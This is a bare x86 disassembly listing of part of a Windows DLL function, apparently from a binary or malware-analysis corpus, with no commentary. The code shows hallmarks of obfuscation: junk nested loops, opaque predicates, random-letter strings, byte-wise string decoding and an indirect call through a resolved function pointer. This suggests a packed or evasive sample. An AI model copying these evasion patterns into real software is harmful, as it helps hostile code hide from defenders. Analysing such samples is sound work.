movzx ecx, byte [ebp + ecx - 0x8c]
or ecx, 0x80
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x8c]
mov byte [ebp + eax - 0x390], cl
mov dword [ebp - 0x18], 2
and dword [ebp - 0x124], 0
jmp 0x10035526
mov eax, dword [ebp - 0x18]
inc eax
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x1b
jae 0x100355f0
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x8c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x18], eax
jne 0x10035570
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x8c]
inc eax
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x8c]
mov ecx, dword [ebp - 0x18]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x18], eax
jmp 0x1003551e
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x124]
movzx eax, byte [ebp + eax - 0x8e]
movsx eax, byte [ebp + eax - 0x390]
mov ecx, dword [ebp - 0x18]
movzx ecx, byte [ebp + ecx - 0x8b]
and ecx, eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x124]
movzx eax, byte [ebp + eax - 0x8e]
movsx eax, byte [ebp + eax - 0x390]
mov edx, dword [ebp - 0x18]
movzx edx, byte [ebp + edx - 0x8b]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x8c]
mov byte [ebp + eax - 0x390], dl
push 0x6610
push 0
lea eax, [ebp - 0x124]
push eax
push 0x37c0
call fcn.1003667a
add esp, 0x10
jmp 0x1003551e
mov dword [ebp - 0x2a0], 0x179
mov dword [ebp - 0x3c8], str.nbabr_oims_uny_oanrb_wxdkkj_fvqchpopl_fwrk_rgquzeceo
cmp dword [ebp - 0x2a0], 0x46d
jle 0x100356c3
and dword [ebp - 0x12c], 0
jmp 0x1003562a
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0x172a
jge 0x100356b4
and dword [ebp - 0x134], 0
jmp 0x1003564c
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0x176d
jge 0x100356af
mov eax, dword [ebp - 0x12c]
add eax, dword [ebp - 0x134]
cdq
mov dword [ebp - 0x4fc], eax
mov dword [ebp - 0x4f8], edx
push dword [ebp - 0x4f8]
push dword [ebp - 0x4fc]
lea ecx, [ebp - 0x75c]
call fcn.10001a31
pop ecx
pop ecx
mov dword [ebp - 0x3c0], eax
mov ecx, dword [ebp - 0x3c0]
call fcn.10001bb6
push eax
call fcn.1004b2d6
pop ecx
lea ecx, [ebp - 0x75c]
call fcn.10001bac
jmp 0x1003563f
jmp 0x1003561d
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
xor eax, eax
inc eax
imul eax, eax, 0xc
mov byte [ebp + eax - 0x390], 0
mov byte [ebp - 4], 0x1b
cmp dword [ebp - 0x2a0], 0xa2
jge 0x100356ed
push dword [ebp - 0x3c8]
call fcn.1004b2d6
pop ecx
jmp 0x10035709
mov dword [ebp - 4], 1
jmp 0x10035719
lea eax, [ebp - 0x390]
push eax
lea ecx, [ebp - 0x6c4]
call fcn.10040f6f
mov byte [ebp - 4], 0x1d
and dword [ebp - 0x13c], 0
jmp 0x10035745
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0xd
jae 0x1003575e
mov eax, dword [ebp - 0x13c]
mov byte [ebp + eax - 0x390], 0
jmp 0x10035738
push 0
push 0
lea eax, [ebp - 0x6c4]
push eax
push dword [ebp - 0x2a8]
call fcn.1003d107
add esp, 0x10
mov dword [0x100e05ec], eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x6c4]
call fcn.1001462a
cmp dword [0x100e05ec], 0
je 0x100357a9
mov ecx, dword [ebp - 0x2b0]
call fcn.100145af
push eax
call dword [0x100e05ec]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0x16c], 0x979cd329
mov dword [ebp - 0x50], 6
mov dword [ebp - 0x208], 0x7ea4
mov dword [ebp - 0x3d0], str.vhaoqkgml_ezbb_qglcxyz_qcyypag_nlr_iganc_idqtlq_fvltld_uiwzvnmht_qtzlh_ljx_evkpn_ovnwi_wtaona
cmp dword [ebp - 0x208], 0x81c5
jle 0x100358d2
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
and dword [ebp - 0x154], 0
jmp 0x1003580c
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0x350c
jge 0x100358d2
and dword [ebp - 0x15c], 0
jmp 0x10035832
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0x2d35
jge 0x100358cd
and dword [ebp - 0x144], 0
jmp 0x10035858
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0x4dd1
jge 0x100358c8
and dword [ebp - 0x14c], 0
jmp 0x1003587a
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0x2628
jge 0x100358c6
mov eax, dword [ebp - 0x144]
imul eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x154]
sub ecx, dword [ebp - 0x15c]
and eax, ecx
cdq
mov dword [ebp - 0x508], eax
mov dword [ebp - 0x504], edx
push dword [ebp - 0x504]
push dword [ebp - 0x508]
mov ecx, 0x1007d9f8
call fcn.10001bd6
jmp 0x1003586d
jmp 0x1003584b
jmp 0x10035825
jmp 0x100357ff
mov dword [ebp - 0x408], 0xfffffffe
mov byte [ebp - 4], 0x1e
cmp dword [ebp - 0x208], 0x7e52
jge 0x100358fc
mov edx, dword [ebp - 0x3d0]
mov ecx, 0x1007d9f8
call fcn.1000358d
jmp 0x10035918
mov dword [ebp - 4], 1
jmp 0x10035928
mov dword [ebp - 0x664], 0xfffffffe
mov dword [ebp - 0x164], 0
jmp 0x1003594b
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 2
jge 0x10035967
mov eax, dword [ebp - 0x164]
mov dword [ebp + eax*4 - 0x614], 0xa2b82c44
jmp 0x1003593e
mov eax, dword [ebp - 0x1e4]
sub eax, dword [ebp - 0x1e4]
cmp eax, 1
je 0x10035984
mov dword [ebp - 0x2c0], 1
jmp 0x1003598b
and dword [ebp - 0x2c0], 0
mov eax, dword [ebp - 0x2c0]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x50], 0
jmp 0x100359a4
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jg 0x10035b6c
mov dword [ebp - 0x3d8], 0x1b07fb07
mov dword [ebp - 0x70], 0xffffffff
mov dword [ebp - 0x3e0], 0x5dd4d14b
mov dword [ebp - 0x3e8], 4
mov dword [ebp - 0x174], 2
push 0x1ae9
push 0x47c8
push 1
push 0x1ff7
push 0x1605
push 0x434
push 0x42f9
push 1
call fcn.100320ea
add esp, 0x20
mov dword [ebp - 0x16c], 0
jmp 0x10035a20
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 1
jg 0x10035b67
mov dword [ebp - 0x400], 0x3526c715
mov dword [ebp - 0x66c], 0xfffffffe
mov dword [ebp - 0x3f8], 0xf4dad240
mov eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x674], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x614], 0
jne 0x10035ad9
cmp dword [ebp - 0x3e0], 0
jne 0x10035a7c
mov dword [ebp - 0x2c8], 1
jmp 0x10035a83
and dword [ebp - 0x2c8], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x2c8], eax
jle 0x10035a9a
mov dword [ebp - 0x2d0], 1
jmp 0x10035aa1
and dword [ebp - 0x2d0], 0
mov eax, dword [ebp - 0x174]
dec eax
mov dword [ebp - 0x174], eax
mov eax, dword [ebp - 0x2d0]
sub eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x174]
sub ecx, eax
mov dword [ebp - 0x3e8], ecx
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x174]
jle 0x10035ad9
and dword [ebp - 0x3f0], 0
jmp 0x10035ae3
mov dword [ebp - 0x3f0], 1
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x67c], eax
cmp dword [ebp - 0x1e4], 0x29adbd3d
jge 0x10035b0a
cmp dword [ebp - 0x3f8], 0
jne 0x10035b0a
and dword [ebp - 0x2d8], 0
jmp 0x10035b14
mov dword [ebp - 0x2d8], 1
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x2d8], eax
jne 0x10035b2b
mov dword [ebp - 0x2e0], 1
jmp 0x10035b32
and dword [ebp - 0x2e0], 0
mov eax, dword [ebp - 0x400]
add eax, dword [ebp - 0x2e0]
cmp eax, dword [ebp - 0x70]
jle 0x10035b4f
mov dword [ebp - 0x2e8], 1
jmp 0x10035b56
and dword [ebp - 0x2e8], 0
mov eax, dword [ebp - 0x2e8]
mov dword [ebp - 0x408], eax
jmp 0x10035a13
jmp 0x1003599d
cmp dword [ebp - 0x4c], 0
je 0x10035bc5
movzx eax, byte [0x100e05f0]
test eax, eax
je 0x10035b8e
mov ecx, 0x100e1abc
call fcn.10040ffb
movzx eax, al
test eax, eax
jne 0x10035bc5
push 0x549b
push 0x3290
push 1
push 0x3f00
push 0x7d8a
push 0x100e1abc
push 1
lea eax, [ebp - 0x2f0]
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.10030e20
add esp, 0x24
mov byte [0x100e05f0], 1
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x2c], 0xaa08ecb3
mov dword [ebp - 0x38], 3
mov dword [ebp - 0x68], 0
cmp dword [ebp - 0x34], 0
jne 0x10035bf7
push 7
pop eax
test eax, eax
jne 0x10035bf7
and dword [ebp - 0x410], 0
jmp 0x10035c01
mov dword [ebp - 0x410], 1
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x678], eax
or eax, 0xffffffff
dec eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x2c]
jl 0x10035c25
mov dword [ebp - 0x2f8], 1
jmp 0x10035c2c
and dword [ebp - 0x2f8], 0
cmp dword [ebp - 0x2f8], 0
jb 0x10035c41
mov dword [ebp - 0x300], 1
jmp 0x10035c48
and dword [ebp - 0x300], 0
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x300]
je 0x10035c9d
mov dword [ebp - 0x418], 0x51f1e283
push 0x5a5
push 0x62de
push 0
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x418]
push eax
push 0x75da
push 1
call fcn.100320ea
add esp, 0x20
push 1
push 0x4fc3
push 1
call fcn.100321d1
add esp, 0xc
jmp 0x10035dfa
mov dword [ebp - 0x340], 0xbc98072f
mov dword [ebp - 0x17c], 0
jmp 0x10035cc0
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 2
jge 0x10035cdc
mov eax, dword [ebp - 0x17c]
mov dword [ebp + eax*4 - 0x374], 0xffffffff
jmp 0x10035cb3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x374]
mov dword [ebp - 0x62c], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x374]
cmp ecx, dword [ebp + eax - 0x374]
jg 0x10035d17
mov dword [ebp - 0x308], 1
jmp 0x10035d1e
and dword [ebp - 0x308], 0
mov eax, dword [ebp - 0x308]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
je 0x10035d39
mov dword [ebp - 0x310], 1
jmp 0x10035d40
and dword [ebp - 0x310], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x310], eax
jle 0x10035d57
mov dword [ebp - 0x318], 1
jmp 0x10035d5e
and dword [ebp - 0x318], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x374]
cmp dword [ebp - 0x318], eax
jne 0x10035d7f
mov dword [ebp - 0x320], 1
jmp 0x10035d86
and dword [ebp - 0x320], 0
mov eax, dword [ebp - 0x340]
cmp dword [ebp - 0x320], eax
je 0x10035da0
mov dword [ebp - 0x328], 1
jmp 0x10035da7
and dword [ebp - 0x328], 0
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x328]
push 4
pop ecx
imul ecx, ecx, 0
cmp dword [ebp + ecx - 0x374], eax
jl 0x10035dcb
mov dword [ebp - 0x330], 1
jmp 0x10035dd2
and dword [ebp - 0x330], 0
cmp dword [ebp - 0x330], 2
jge 0x10035de7
mov dword [ebp - 0x338], 1
jmp 0x10035dee
and dword [ebp - 0x338], 0
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x38], 0
jmp 0x10035e0a
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x17
jle 0x10035ebe
mov dword [ebp - 0x184], 0
jmp 0x10035e2d
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 3
jge 0x10035e49
mov eax, dword [ebp - 0x184]
mov dword [ebp + eax*4 - 0x6a0], 1
jmp 0x10035e20
mov dword [ebp - 0x2c], 2
jmp 0x10035e59
mov eax, dword [ebp - 0x2c]
dec eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jl 0x10035eb9
mov dword [ebp - 0x68], 2
jmp 0x10035e6f
mov eax, dword [ebp - 0x68]
dec eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
jl 0x10035e9e
mov dword [ebp - 0x34], 2
jmp 0x10035e85
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jl 0x10035e9c
mov eax, dword [ebp - 0x2c]
cmp dword [ebp + eax*4 - 0x6a0], 0
je 0x10035e9a
jmp 0x10035e9c
jmp 0x10035e7e
jmp 0x10035e68
mov byte [ebp - 0x42], 0
push 0x667d
push 1
lea eax, [ebp - 0x42]
push eax
push 1
call fcn.10032382
add esp, 0x10
jmp 0x10035e52
jmp 0x10035e03
mov eax, dword [ebp - 0x348]
mov ecx, dword [ebp - 0x4c]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x584]
call fcn.10014550
jmp 0x10035f50
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
mov dword [ebp - 4], 0x20
cmp dword [ebp - 0x350], 0x5d99
jge 0x10035f12
push dword [ebp - 0x420]
call fcn.1004b2d6
pop ecx
jmp 0x10035f2e
or dword [ebp - 4], 0xffffffff
jmp 0x10035f38
jmp 0x10035f50
mov eax, dword [ebp + 8]
mov dword [ebp - 0x428], eax
xor dl, dl
mov ecx, dword [ebp - 0x428]
call fcn.1002d533
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret